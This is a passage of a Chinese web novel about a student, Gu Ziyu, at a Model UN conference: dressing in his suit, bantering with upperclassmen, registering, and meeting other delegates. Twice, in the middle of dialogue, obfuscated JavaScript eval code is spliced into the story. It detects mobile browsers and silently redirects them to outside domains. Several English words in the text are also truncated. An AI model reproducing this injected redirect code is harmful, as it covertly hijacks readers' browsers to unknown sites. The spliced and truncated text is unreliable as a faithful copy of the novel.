他饿吗?他的胃在向他的大脑发送饿的信号。那种难受到甚至有点烧心的感觉,是他的身体向他渴求食物。可他的灵魂却并没有想吃东西的欲望。 他终究什么也没买,就在超市里转了一圈,空空手又出去了。收银台前熙熙攘攘,柜员完全没有注意这个男孩。她太忙了,所有心思都在排着队等她结账的客人身上。 顾梓聿就这样心神不属地走回了酒店。 他迎面碰上了田元元和其他学生。 “吃过饭了吗?”田元元冲他打招呼。 “吃过了。”烧心的感觉愈演愈烈,顾梓聿好像人飘在半空中,眼前的事都有一种不真实感。 “吃好了就快去换衣服吧,待会儿我们在 1301 集合,一起过去会场。” 顾梓聿带来的正装,是去年参加梅纽因大赛时,在长安街买的那一套。 参加模联要穿正装,这是规矩,也是一种“沉浸式”的仪式感。就像玩 DND 时要披上长袍、拿起木棍,能够让参与者真正有身临其境的感觉,装扮本身就是角色的一部分。 “你把模联当成一场大型的 TRPG 游戏就好了,”郭弢曾经这么解释。他看着顾梓聿一脸困惑的神情,有点震惊地问,“不知道什么是 TRPG ?听过 DND 吗?Dungeon and Dragon,龙与地下城?EarthDawn?Fantasy HERO?Gangbusters?Oriental Adventures?Legend of the Five Rings?Paranoia?” 郭弢像报菜名一样向顾梓聿扔了一连串名字。也许它们都大名鼎鼎,但顾梓聿一个也没听过。 “万智牌听过吗?桌游呢?桌游不会也没玩过吧?”郭弢有点绝望了,这孩子是生活在史前时代吗? 顾梓聿有点发窘。他从来没被人问得哑口无言过,一时间竟有些无地自容,只好弱弱地说:“狼人杀……算吗?” “你直接告诉他 TPRG 是什么不就完了?”田元元翻了个白眼,“没事,我也不玩游戏,那些名字我也一个都没听过。有的人就是爱夹带私货,玩游戏疯魔了。Tactical role-playing game,策略性角色扮演游戏,说白了就是过家家,只不过换了个高级点的名字。” 出于对小学弟的“关爱”,田元元本来是打算屈尊亲自陪同顾梓聿去选购正装的。她语气半真半假地抱怨着: “你们男生懂什么挑衣服啊?我都快被那些傻直男买的衣服气死了!上次开会,一个个穿的像房产中介似的,剪裁不合身的、肩垫太夸张的、窄领配宽领带的、西装外套袖口长得藏住半只手的…本来人长得就一般,还不懂得好好拾掇自己,气质全毁了,我不能让你也这样。” 顾梓聿一头冷汗地婉言谢绝。田元元确实热心,但她的热心总是裹着点别的东西。他不知道她对谁都这样,还是只对他这样,也不知道,她是真的关心,还是只是把他当成某种“特殊样本”,但无论如何,他都没有让别的女生替他挑衣服的嗜好。 “谢谢你啊学姐。”他笑了一下,语气柔和,“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415343|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我其实已经有大致的想法了,你时间那么紧,就别特地陪我跑一趟了。” 田元元盯着他,她意识到了对方的拒绝和疏离:他不仅不领情,还温和又坚定地筑起了边界。 她忽然有点不高兴。像顾梓聿这样的,她还真是头一回遇上:你不对他好,他不会主动靠近;你对他太好,他立刻礼貌退后,绝不留缝隙。 “啧,真是个油盐不进的小孩。”她撇了撇嘴,故意装作不屑,“我是担心你不会挑,俗话说人靠衣装佛靠金装,这到底还是个看脸的社会啊!” 顾梓聿拗不过这位霸道学姐的脾气,只好无奈地打开手机上网,搜到自己在梅纽因大赛颁奖时的新闻图片,小小纠结了一下,最终还是拿给田元元看: “学姐,穿成这样可以吧?” 田元元随手接过手机,定睛一看,脑子里的雷达就开始发出刺耳的警报——这何止是可以啊?简直是太可以了!少年的身姿挺拔,凤眼清亮,身着黑色青果领单排两粒扣的西服,内搭白衬衫,黑西裤黑皮鞋黑色窄领带,干净利落,朝气蓬勃。 她有一小会儿没有说话,把手机还给顾梓聿后,上下打量了他一眼:看不出来啊,这个平时一脸学生气的乖乖仔,换上正装后居然有点“霸总”的气质。 “这衣服谁给你选的?挺合适。”田元元没话找话,旁边的郭弢也凑过来看了一眼,瞬间明白自己这个同事加老友估计是害羞了。他意有所指地“呵呵”怪笑两声,成功获得田元元的白眼两枚、巴掌一记。 郭弢龇牙咧嘴地揉着自己被打的手臂,悄悄远离这个暴力女。顾梓聿眼前闪过当时陪在身边的姜明珺,轻声道:“…自己选的。” “哇,小学弟,你穿衣的品味很好啊,完全超过了直男的平均水平,你是直的吗?” 顾梓聿知道田元元在开玩笑,但他同时也听过郭弢是“弯的”的传闻,他不动声色地避开这个问题:“这衣服没什么特别的,就是有请老板帮我稍微改了一下尺寸,可能是因为合身吧,看起来效果就会好一点。” 径自回到酒店房间,顾梓聿对着镜子,自己给自己打好领带。 这是第二次他穿这身西装,上一次,在梅纽因决赛的那个夜晚,他第一次背弃自己享受舞台的初心,谋算着用功利的手段拿下第一、包揽全奖。也是穿着这身衣服,他参加了吴老师的葬礼,悲痛欲绝地送别恩师,面对着冰冷的遗像哀哀致意。 壁灯柔柔地散出橘色温暖的光芒,顾梓聿看着镜中穿好正装的自己,往事如潮水扑面而来,他仿佛穿越时空,又变回了那个当时悲伤无助的自己。有那么一瞬间,他觉得这身西装就像是一身铠甲,而他此时无所适从的刻骨孤独,和那时站在决赛舞台上背水一战的决绝渐渐合二为一、融成一处。 他凝视镜子中的自己,露出了一个标准的微笑,挂上代表牌,拎上公文包,最后检查了一遍该带的东西,就关上门向 1301 走去。 1301 是田元元和徐梦的房间,顾梓聿按了门铃,很快门就打开了,来开门的正是徐梦。他轻声打招呼,跟着她穿过狭小走廊走进房间。基本上所有人都已经在 1301 集合了,女生们大都直接坐在床上,男生们或站或坐在地上,聊着天或玩着手机。聊得热火朝天的女生们看到他进来,一下子都安静了。 “好帅。”陈思远小声感叹,旁边的好友猛掐了她一下,用力度表示强烈的赞同。 田元元正在帮另外一个女生扎头发,听到动静头也不抬地问:“是谁进来了?” “是我,顾梓聿。” 田元元抬头一看,瞬间明白了什么叫“不上镜”:同一套西装,照片上的效果与眼前的真人秀完全不是一个等级的。 房间里暗,顾梓聿的侧脸轮廓都模糊在阴影里,但这不要紧。粗纺羊毛法兰绒的西装将他的身型清晰地勾勒出来,黑色的面料泛着细腻的柔光。少年的头身比很好,颈长肩宽,恰到好处的剪裁突出了他的肩平、腰细、腿长。他静静站在那里,不像其他学生一样青涩,换了一身衣服后,融天真与沧桑为一体,那种介于男孩和男人之间的气质,简直叫人为之心折。 田元元回头看其他男生,就觉得他们都像是偷穿了大人衣服似的,看起来傻得冒泡。 她不得不承认,这少年是真的好看。那种令人心悸的好看。 “你是最后一个啦。” 林亦凡不知道从哪个角落闪出来,哥俩好地拍了拍顾梓聿的肩,看上去很随意,眼神却在田元元脸上扫了一眼——她看起来……跟平常不太一样。 田元元收回目光,低下头去把手里的辫子编完,却还是不小心弄疼了对方。那女生疼得倒吸一口冷气,却也体贴地没说话。田元元有些心不在焉地“哎呀”了一声,掩饰性地笑了笑。 “走吧。”大家都整装待发了,田元元给赵奇发了个短信,也算是向带队老师知会一声。会场就设在波城后湾希尔顿酒店,离他们住的地方挺近的,大概步行十分钟就能到。 大家跟着田元元鱼贯而出,现在外头雪又下了起来。顾梓聿还好,虽然西装里面只有一件衬衣,但好歹这身西装就是冬天在帝都买的,羊毛料子厚实,克数重,勉强能挡风雪,就是脚踝冷点。女生们就不行了,她们基本上穿的都是一步裙配丝袜,刚从暖气充足的酒店走到冰天雪地的户外,只能被冻得一边哆嗦一边小跑,还要顾虑自己脚下的高跟鞋,在这漫天飘雪里真是称得上“美丽冻人”。 顾梓聿倒是想吹吹冷风,让脑子清醒一点,慢慢地就落在后面,林亦凡却始终配合着他的脚步,跟在他身边陪着他。 “等下应该能见到部长。” 顾梓聿一听,眼睛亮了一点:“若钦学姐已经到了吗?” 顾梓聿眼看着情绪就高了起来,毕竟杜若钦是这里跟他最熟的人了。虽然旁人可能会认为杜若钦性格不像田元元那么自来熟,看起来有点高冷不好接近,可其实他正喜欢这种双方之间有点界限、有点距离的相处方式,田元元那样亲密的热情,他实在是有一点吃不消。 “你和若钦很熟吗?”林亦凡侧过头,貌似不经意地问,“我还以为是元元负责给你开小灶的呢,她这一路,可没少逗你。” 他语气漫不经心,仿佛不值一提,眼神却似有若无地捕捉着顾梓聿的反应。 顾梓聿作为一个新手,第一次参会就来参加最高水平的 HMUN,肯定是做了个人的赛前紧急培训,这大家都懂。但具体到是哪位大神给他开的小灶,大家都知趣地没去瞎打听,反正要是校内的,估计这人选也就只能在正副社长杜若钦、田元元、郭弢三个人中产生。 只是看着这趟出来田元元明显和顾梓聿很亲近,学生们也就默认是田元元给顾梓聿补的课。 顾梓聿直觉觉着这问句哪儿有点不对劲,选择装傻:“我和若钦学姐初中就认识了,所以我的赛前紧急培训,主要是她帮我准备的,哦,也有田学姐和郭弢学长帮忙,他们轮着给我补过几节。” “哦,是这样。”林亦凡琢磨着“若钦学姐”和“田学姐”这两个称呼的异同,笑着眼睛弯了一下。他像是忽然放下心事一样,拍了拍顾梓聿的肩,语气轻快,“我看好你,加油!” 说完,他便小跑着追上前面的人群,像是没说过什么特别的话。但他走后,原本空气里那点似有若无的压抑气场也随他一起消散了。 顾梓聿心有所悟,无奈苦笑:以后,还是离田元元远一点吧。 55.勾勾搭搭 希尔顿后湾酒店是三棱柱形的后现代主义建筑,灰色玻璃幕墙反射着冬日清冷的阳光。顾梓聿穿过酒店的旋转门,暖气扑面而来。纵使室外天寒地冻、滴水成冰,但室内却是暖意熏然,人声鼎沸。 酒店大堂中央立着醒目的指示牌,指向大会签到处。他一路跟着人流走,大厅里几乎都是来参会的代表,清一色的西装革履,每人胸前都挂着着参会证,热闹非常。 顾梓聿刚刚走得太慢,已经和八中代表团的人走散了,不过他也不急,这地方不大,总归能遇上。签到处前排的队伍挺长,他心里估摸了一下时间,便放松下来,开始跟周围的人搭话。 “嘿,你属于哪个委员会的?” “准备了哪个议题?” “代表哪个国家?” 这三句话是模联开场社交的标配,包括了最重要的三要素。模联会议仿照国际外交制度进行,参会者都是“国家代表”,按“委员会”和“议题”展开讨论。模联会议中的委员会包括但不限于国际联盟的主要机构、附属机构、规划署、基金会等等。 排在顾梓聿前面的是个来自特诺奇兰的小哥,一头爆炸小卷毛,一脸很阳光的样子。他的索伦语带点西语口音,讲起话来像唱饶舌,尾音总会不自觉地升高,听起来就很快乐。顾梓聿忍着笑,听他说自己是专门机构的代表,兴致一下就来了。 专门机构是模联会议中一个很有创新精神的模块,和正常的会议不一样,大会组委会会截取历史上的一些特殊时刻,或是模拟在一个特定的历史背景下发生的危机,而且,专门机构下设的委员会通常都很小,大概每个委员会参与的国家代表不会超过三十名。 顾梓聿的羡慕之情溢于言表:“哇,我真希望我也能加入到’专门机构’的会议中去。你被哪个委员会选中了?” “嗯,也许下一次你该越早申请越好,先到先得嘛。我这次是被《阿托利安条约》委员会选中了,但我代表的是阿勒芒德联邦共和国!我是阿勒芒德的外交部长乌·尔里希-冯-布洛克多夫-兰佐,简直了,你能相信吗!” 看着小卷毛一脸的义愤填膺,顾梓聿深表同情:“听起来你要被群殴了。” 《阿托利安条约》的全称是《同盟国及参战各方对阿勒芒德的和约》,这是在第一次大陆战争后,战胜的同盟国对战败的阿勒芒德联邦签订的和约,主要目的是惩罚和削弱阿勒芒德的有生力量。作为战败国,当时的阿勒芒德毫无发言权,在最后签字的时候才被允许进入会场。 这一次组委会设定的世界背景与真实历史不同,阿勒芒德可以直接参与到合约的谈判进程中,可以想见,阿勒芒德的代表在这个会场上注定是被围攻的孤儿。 “最狠的一定是弗兰希斯王国,”顾梓聿边排队边说,“他们战争损失最大,又因为历史原因对阿勒芒德仇恨最深,索伦也不好对付。” “对,根本是在分尸。”艾伦小声咕哝。 真正的世界历史上,弗兰希斯王国提出的条件最为严苛:不仅要求巨额的经济赔偿,还要全盘接手阿勒芒德的大型工业区、瓜分阿勒芒德的海外飞地、削弱其军事力量。索伦既希望欧尔多利大陆重归和平并从中获益,也想要在阿勒芒德的赔偿金中分一杯羹。布列塔尼亚联合王国因在战争中未受太大创伤,因此索赔动机较弱。况且弗兰希斯提出的那些苛刻条件一旦成立,它就会一跃成为整个欧尔多利大陆最强的国家,原本微妙的力量平衡将彻底被打破。 其实拿到阿勒芒德的国家牌也不能说是一件坏事,毕竟对阿勒芒德来说,它唯一的诉求就是条约中的不利条款越少越好。为了达到这个目的,小卷毛完全可以利用同盟国之间利益不一致的矛盾来打一场攻心战,这岂不是给了小卷毛极大的发挥空间? 顾梓聿笑着打趣:“嘿,你应该感恩,不同于真正的历史,这次你甚至可以在星辉厅内拥有一个座位参与谈判,这可是大放异彩的机会!试着游说布列塔尼亚代表吧,从经济利益角度去打动他们,阿勒芒德是布列塔尼亚的第二大贸易伙伴,他们肯定希望你们能尽快恢复元气,更重要的是,他们绝不会允许弗兰希斯一家独大。” “嘿,说得太对了!”艾伦兴奋地搓手,“我已经计划很久了,一旦我知道了布列塔尼亚代表是谁,我就要在今晚派对上把他搞到手。有时候,做个超级大反派也很上瘾!” “我叫顾梓聿。”顾梓聿笑着伸出手。 “我叫艾伦!”两人握手,气氛轻松得像老友重逢。 “…鸡…吾,no,支...乎,” 艾伦的表情忽然卡住,艰难地发着音,他一脸崩溃,“Wait, how do you spell it?” “Z-I-Y-U。”顾梓聿哭笑不得。 他早就习惯了这段流程,华纳语发音对外国人来说确实是灾难,即使是知道了拼写方式,他们也很难发出正确的音节。不过,他也从没想过用个“方便外国人”的名字来代替。那不是自己真正的名字,就好像穿了件不合身不得体的外套,脱又脱不下来,怪难受的。 艾伦还在尝试,但那发音已经偏到十万八千里之外去了。顾梓聿无奈地阻止他:“et it, just call me Gu. 那是我的姓,否则你永远都念不对。” “行吧,虽然我真的很想叫你的名字,但 ‘顾’ 显然好发音多了。” 艾伦耸肩苦笑,顾梓聿表示理解,毕竟直接叫名字更亲切点。两个人不约而同掏出手机,在社交软件上互邀好友。 刚加完好友,艾伦忽然一拍脑门:“等会儿!我一直在说我的,你还没说你是哪个委员会的呢?” 顾梓聿正准备回答,工作人员却叫到了他们的名字。他无奈一摊手,一边往旁边的签到台走,一边回头冲艾伦挥了挥手:“See you later on the party!” “See you!”艾伦也朝他挥了挥,满脸笑意。 顾梓聿拿起桌上的笔,习惯性地冲着签到台的学生志愿者发送了一个微笑。他的眉眼清澈温柔,笑意浅浅,像雨后的阳光,意外地迷人。 他低头签着名字,坐在那儿的学生志愿者却愣了神。她下意识地微低头,把自己的卷发刘海夹到耳后,像突然踩了空一样:天哪,他的皮肤竟然比她还好,笑起来就跟她追的那些偶像一样干净帅气!温柔无害,简直像是从电视机里走出来的。 顾梓聿签完名,等了几秒,发现对方还没反应,有些疑惑地问:“ Excuse me ?” 按理说,签完名不就该发材料了吗?不至于还得自助领取吧? 那女孩回过神来,说了声 “Sorry”,才慌手慌脚地拣了桌子上的大会日程安排、笔、册子之类的纪念品拿给顾梓聿,几乎都没敢直视他。 顾梓聿接过东西,看了看,又抽出多出来的一份日程表递回去:“Hey, you just gave me one more calendar.” 即使组委会可能为了以防万一多准备了些,这些日程表也应该都是有定量的吧。 女孩小声“Oops”了一句,忙伸手接回。她显然为这种低级失误感到非常不好意思,再次抬头,这次却正好撞进他的眼里。她的眼睛是很漂亮的绿色,明亮清透,顾梓聿被这水润润的绿一晃,一时没忍住,由衷地赞美道:“You have really pretty eyes, very charming. ” 话一出口,他立刻意识到自己的唐突。 什么鬼?“你有双非常美的眼睛,非常吸引人”,这简直是个站在酒吧吧台边上的浪荡子人设,冒犯到人家了! 女孩一愣,顾梓聿抱歉地笑了笑,抱紧东西转身就要离开,肩膀却被人按住。他僵硬地回过头,却是一张熟悉的脸,那脸上还少见地带着调侃的笑容。 “学姐?”顾梓聿略带求救地看她一眼,声音都有点变调。 杜若钦犀利的目光在他脸上逡巡了一回,才从容地俯身和女孩行了个贴面礼,笑着道:“别放在心上,黛西,他说的就是字面意思。” 黛西这回笑得放松了些:“All right Chin, I just felt flattered. ” 原来她俩认识。顾梓聿点点头,但又突然意识到不对劲——为什么这解释听起来越描越黑? 他干脆自暴自弃似地一笑,冲黛西开玩笑道:“Actually, I’m quite good at flattery. Wanna hear a demo?Allow me to demonstrate.”(事实上我很擅长拍马屁,请让我展示。) 然后他转向杜若钦,语速飞快、表情郑重地开始胡诌: “You look eous. I love your hair. This dress ? Amazing choice. Your taste? Impeccable. I couldn''t help but notice your… blablabla… absolutely stunning. Have you been working out? You look so fit.” (你看起来很迷人,我喜欢你的发型,这条裙子很衬你,你真的很有品位。我真的忍不住被你的 ‘巴拉巴拉’ 吸引,它特别适合你,你最近健身了吗?你看起来身材很好。) 自从那句“blablabla” 出来之后,两个女生就毫无淑女形象地笑疯了,顾梓聿还假装一本正经地解释: “There’s a fill-in-the-blank section here. That part is flexible. Could be necklace, bracelet, whatever you like, toplete the sentence.” (’巴拉巴拉’ 那里,你们有一堆选项可供选择,范围从项链到手链,就随便挑一个你们喜欢的填上,造个你想要的句子。) 杜若钦大笑着对黛西说:“That’s terrific, Daisy. I never knew he was such a cutup.” (天哪黛西,我还真不知道他这么能胡扯。) “Well, now you know!”黛西忍笑接话。 显然,刚才那点微妙又尴尬的暧昧气氛瞬间烟消云散,换成了轻松的笑声。 三人短暂告别,顾梓聿和杜若钦一同朝会厅走去,开幕式即将开始,他们得快点占个位置。 顾梓聿跟在杜若钦身后像个小跟班,没走几步杜若钦突然回头,一脸促狭地看着他开玩笑:“顾梓聿,我之前没发现你这么会撩妹啊?” 顾梓聿被噎了一下,满脸写着“冤枉”:“天地良心,什么撩妹?这就是正常人类见到美的事物的本能反应而已啊!” “哦,是吗?”杜若钦挑眉,笑意不减,“那我看你本能还挺发达的。” 顾梓聿不敢对学姐翻白眼,只默默做了个“无语”的表情,一言不发,心里却忍不住吐槽:他怎么觉得这位冰山学姐有像田元元靠拢的趋势呢?天啊,千万别走那条路线! 不过找座位的短短几步路,顾梓聿就深刻地了解了一个真理:自己这位学姐,果然是模联圈子里的王者级人物。 一路走来,她已经不知道跟多少位代表打过招呼了,遇上的亚裔面孔有来自华纳的、有来自星洲的、来自大马的,除此之外,白人、非裔、拉丁裔,肤色都快集齐了。顾梓聿就乖乖陪在学姐旁边,看她先跟对方热络地 social 几句,再把自己介绍给对方: “这是我们学校的小孩,这次我特别看好他,你们多关注一下啊!” 顾梓聿就像是新年被家长带出去见各路完全不熟的远房亲戚,挂着礼貌微笑自报家门,内心却已经面瘫。见面、握手、自我介绍,一套流程循环播放,然后机械地和对方握手、接受对方的或热情或犀利的眼神洗礼。 杜若钦则全程丝滑地切换人设,若不是顾梓聿一直跟在她身边,怕是看不到这么精彩的变脸: 和外国人打招呼,杜若钦的情绪格外高昂,音调上扬,一开口要么是“Hey girl! Miss you so much!”或者“Hey guys, it’s been forever!”,然后贴面礼、热情拥抱一气呵成。哪怕顾梓聿已经见怪不怪,还是忍不住想:这还是平时那个对他说话都懒得多一个音节的冰山学姐? 但一遇到华纳同胞,杜若钦的表情就会相对内敛一点,语气沉稳,而且,偏偏一开口就能准确叫出对方的名字,还能顺带补上一句对方最近的近况,瞬间打破距离感,寒暄变得顺理成章。 杜若钦的社交模式,居然会跟随着对方的文化背景、社交礼仪来自动切换,跟谁都能把距离感拿捏得刚刚好。顾梓聿一路看下来,都已经分不出真正的她究竟是哪个样子,只能默默在心里感叹。 更夸张的是,她对华纳模联圈的熟悉程度,简直到了令人发指的地步。跟熟人聊天的时候,信口就能说出某大会的主席团都有谁,随意就能点出某个会上有哪些亮点和哪些不足的地方。只不过,聊起这些时,她的表情始终冷静。 直到他们遇到了帝大的莫骁天,聊着聊着,杜若钦少见地动了真气。 莫骁天是圈内有名的“老炮儿”,长相斯文,戴个金丝眼镜,说话永远带着点戏谑意味。他先挑起的话头:“…你听说了吗,最近华南那片高校模联大会结束后流出了一篇会议纪要,啧——槽点密集。” 顾梓聿脸上不动声色,却悄悄竖起耳朵,这语气,一看就是有大八卦。 杜若钦一边摇头一边说:“他们传给我看了,简直难以想象,气候变化框架公约缔约方开会,居然有一多半的与会代表,不知道京都协议书讲的什么。这不就像学无机化学不懂元素周期表吗?这都是大学生啊,太荒唐了,这样的人要是在我们学校,我让他入社面试第一关都过不了。” 莫骁天显然找到了共鸣,接着又抛出一个惊雷:“之前国内的有个会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423921|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道有代表提了一个什么提案吗?讲跟你听都会笑,为了应对核泄漏危机,某国代表提出的提案是在社会上募集资金和志愿者,在泄漏的核电站附近种植植物吸收辐射。最搞笑的是,这狗屁提案居然还有代表联署。” 男生小小地爆个了粗口,显见的难以置信。 嚯,这么没有常识的提案,顾梓聿都要笑出声了——模联版的“用树治一切”,真·生态神话学。一群对社会运行、世界政局毫无了解的学生能闹出的笑话也是花样百出。 杜若钦听了这话也高高挑起眉毛,愣是露出了个平常完全不会做的表情,顾梓聿偷看她的表情,差点忍不住掏出手机抓拍:这还是他第一次看到学姐露出这种“老娘真的忍不了了”的脸色。 “没有常识我倒能忍,只要有想学习的心,我们一定欢迎。”莫骁天继续吐槽,语气带着一股不容置疑的锋利,“但现在越来越多的人参加这个活动,是奔着镀金来的。西装一穿、几个术语一背,就以为可以出来装相了,甚至有的人来就是为了约,夜夜笙歌,带着酒味就敢来开会,真是乌烟瘴气。” 他顿了顿,冷笑一声:“每个会发邀请函时都吹得天花乱坠,’改革’、’创新’、’颠覆性设计’,真的参加了才发现,这不过是组织者给自己刷履历罢了。背景文件是到处复制粘贴来的,没有半点学术道德。上行下效,与会代表交的立场文件也都是堆狗屎,抄来抄去毫无学术伦理。” “会议就开三天,party 得办两晚。各校各联盟间派系斗争、拉赞助吃回扣,这圈子,真是变味了。” 杜若钦没接话。 模联对参与者的素质要求很高,就算是过家家,政治家和外交家又岂是那么好扮演的?作为旁观者,人们很容易就能指点江山、激扬文字,动不动就对内政外交评头论足一番,仿佛自己是不出茅庐的卧龙先生,天下大势都了然于胸。 但真正坐在会议席位上,代表一个国家,才会知道,从一个提案的草拟到形成共识,其实步步维艰。 她还记得自己第一次做主席,是一个关于“加强全球反恐合作”的政党会议。与国家会不同,政党会的与会者是各国的执政党和合法在野党的代表,会议不会签署具有约束力的文件。 但那次会,多数代表压根不知道什么是政党会议,把自己当成外交部长,照搬国家立场来发言。有的代表甚至在讨论中代表本国政府提法案,与自己政党身份完全相悖,简直是大型车祸现场,整个发言流程闹得啼笑皆非。 作为主席,杜若钦当机立断叫停会议,耐心地为代表们讲解会议制度和角色设定。她和副主席在茶歇和晚间都努力引导、辅导代表们发言方向,依旧成效有限。 囿于部分代表本身的能力,发言和提案仅限于“高度重视”、“强烈要求”诸如此类的空话,却提不出具体的有建设性的意见,两大议题的标准一降再降,讨论间仍有冷场,最终会议质量很不理想。 也正是因为这样,当初她在面试时看到顾梓聿的表现,才那么惊喜。 模联的会议节奏瞬息万变,流程不可能一成不变。像顾梓聿这样有着不错的知识储备、快速的反应能力、良好的语言表达能力的人会占有很大的优势。面对她当时突发的诘难,顾梓聿能够沉着冷静地利用议事规则给自己解围脱困,语言清晰,逻辑严谨,不慌不忙,那一刻,她真的有种“捡到宝了”的感觉。 眼看莫骁天语气越来越沉,气氛也逐渐凝重,顾梓聿想了想,大胆地插了一句嘴: “其实学长学姐,任何活动发展壮大之后,都会遇到参与成员良莠不齐的问题。但我们没有必要对未来感到失望啊,只要做好分层就行了。让基础薄弱的新人去级别较低的会锻炼,而让那些更想借着这个平台社交的人,分流到学术色彩更淡一点的会议去。让学术归学术,酒色归酒色吧。” “上帝的归上帝,凯撒的归凯撒吗?”莫骁天把这话咀嚼了一遍,饶有兴致地看着顾梓聿。 杜若钦听了不乐意了:“那这还能叫模联吗?这就是“挂羊头卖狗肉”!娱乐化、泛滥化,让他们借着模联的名头来瞎搞,都是些什么乱七八糟的,这些人就该被清理出模联界!” “学姐,你这就有点原教旨主义了。像现在的模拟法庭,不也是从模联中孕育脱胎出来的吗?现在的问题就是,因为有一些人的目的不纯,导致其他参会人员体验不佳,也为模联引来骂名。但其实,任何圈子都有中心和边缘,我们无法强硬地阻止那些人参会,却可以把他们分流到圈子边缘。反正他们参加模联的目的又不是为了学术,只是为了社交,长此以往,当他们自觉无趣的时候,就会慢慢离开这个圈子了。” “而只要我们能保证有高水平的活跃的参会人员,这个圈子就永远不会死。” 莫骁天听了顾梓聿的话,用观察猎物的眼神把面前这个高中生上下细细打量了一遍,“你这小孩挺有意思,要不来帝大做模联,咱们一起搞搞事?我这正缺个能拎得起活的人。” 杜若钦反应很快,立马一只手挡住顾梓聿:“可别抢我的人啊,告诉你,人家可是马上就要出国读书的人了,你还是去别人那儿拐小孩吧,怪蜀黍!” “唉,”莫骁天摇头叹气,半真半假地感慨,“帝国的好苗子都被挖走了呀!” 顾梓聿腼腆一笑,一脸无辜地装傻。 “行,小孩,你就跟着你杜姐好好学,我先过去找我们的人了,晚上见!”莫骁天潇洒一挥手,转身走进人群,背影依旧风度翩翩。 目送他离开后,顾梓聿偷偷问:“学姐,我刚刚是不是话多了点?” “话是多了点,”杜若钦回头看他一眼,嘴角微扬,“但说得好。” 顾梓聿跟着杜若钦,见她找了个离主席台不远不近的位置就要坐下,有点疑惑:“学姐,我们不去找自己学校的人坐一起吗?” 杜若钦头也不抬,淡定道:“你看这会场,多大一片,找人费劲。而且那边有田元元在,我放心。” 她话音未落,不远处就有人朝她招手,显然是熟人。 “哇,学姐,你人脉也太广了吧……走哪儿都有人认得你。”顾梓聿被杜若钦这“天下谁人不识君”的朋友密度给惊吓到了,默默咋舌。 “参加过一次会议大家就熟了,社交网络上常分享近况,自然就能保持联系,现在都是地球村了,因特网的魅力啊。”杜若钦很自然地不以为意,“我过去跟他聊会儿,你座位帮我看好啦,待会儿就回来。” “明白。”顾梓聿乖乖坐下,目光扫了四周一圈,咦,怎么隔了两个座位之外的那个蜂蜜色长卷发的女生看起来似曾相识?他确信自己的记忆没出错,有点激动往那边挥挥手:“嘿,同学,同学!” 那女生听到了他的声音,从书中抬起头,往这个方向看过来。顾梓聿看清了她的脸,真的就是他在纽城大都会艺术博物馆门口帮拍照的那个女生! “你好,真巧啊!”他笑着打招呼,整个人都有点小雀跃。 显然,那女生也认出了他,微笑着打了个招呼: “你好。” 顿了顿,她补了一句: “我不是你的同学。” 56.大会开幕 “我不是你的同学。” 哈,这回答?顾梓聿被噎了一下,一瞬间脑筋有点转不过来。他当然知道对方不是自己学校的,可是,他们也一直都是这样称呼外校同学的啊? 这女生……怎么有点奇怪? 女生又重复了一遍,语气还是温和的:“我是说,我不是华纳人。” “你不是?”顾梓聿更懵了,“可你说的是……” 说的是华纳语啊? 突然他醍醐灌顶,一下子明白过来:当初他们第一次相遇的时候,在大都会艺术博物馆门口,女孩最开始说的也是索伦语。是他看着她们的脸,先入为主地以为她们是华纳人,直接用华纳语回答,然后她才改口配合的。 是他误会了。从一开始,她就没说她是华纳人。他只是看了脸,想当然了。 “我来自南韩,我叫李知恩。”女孩柔柔一笑,眼睛弯弯,很符合电视剧里南韩女孩那种温柔的形象。 “啊……你好,知恩,很高兴再见到你。”顾梓聿有点窘迫:真是个大乌龙。 “抱歉啊,你的华纳语真的说得非常好,我这才误会了。” 女孩很矜持地笑了笑:“我从小就开始学习华纳语了,可能因为是这样,所以说得还可以吧。” 顾梓聿这个时候心里有了预设,再一听她说话,确实有那么一点点口音,很轻微,不细听根本不会发现。他又想起他们第一次见面的时候,李知恩的遣词造句都非常地书面化,礼貌用语用比他们正常说话的时候要多得多。 “那你也太厉害了,韩语、华纳语、索伦语都说得这么好。”顾梓聿忍不住夸了一句,对方能来参加 HMUN,肯定索伦语说的也不错。 李知恩笑而不语,依旧有点拘着,但气氛明显松动了些。 顾梓聿试着找点话题,他看着李知恩膝上那一本大部头问道:“你在看的,是什么书啊?” 李知恩轻轻抬起书脊,露出封面给他看:“The Glory and the Dream,光荣与梦想。讲的是 1932 到 1972 年索伦社会的变迁,那天在书店里看到,就买来看看,毕竟现在我人就在索伦嘛。” “好看吗?” 顾梓聿不过是社交性随口一问,本意是寒暄,不想李知恩却认了真:“在你眼里,什么样的书才能算得上好看?” 呵,这问题问的好。顾梓聿被问住了,也认真想了想,一笑: “对我来说,一本书只要内容有新意,能拓宽我认知的边界,就值得一读。但真要算得上好看,至少要满足两点。” “一方面,这本书要有学术价值,不是那种随便拿一点前人说过的、改头换面再拿出来兜售一番就可以的,而是得有新观点、新思想、新理论,还得讲得有理有据。” “另一方面,这本书还得有文学价值,我会希望作者的用词能精准又雅致,而行文风格则能够酣畅淋漓,能让我在读这本书的时候,被吸引的手不释卷。” “至于作者的三观,我不会去批判,毕竟这是对方的权利,他有表达的自由,我也有选择不看的自由。毕竟,写作时作者的观点势必会从字里行间中流露出来,而我也有权选择让我看起来更加愉悦的书。” 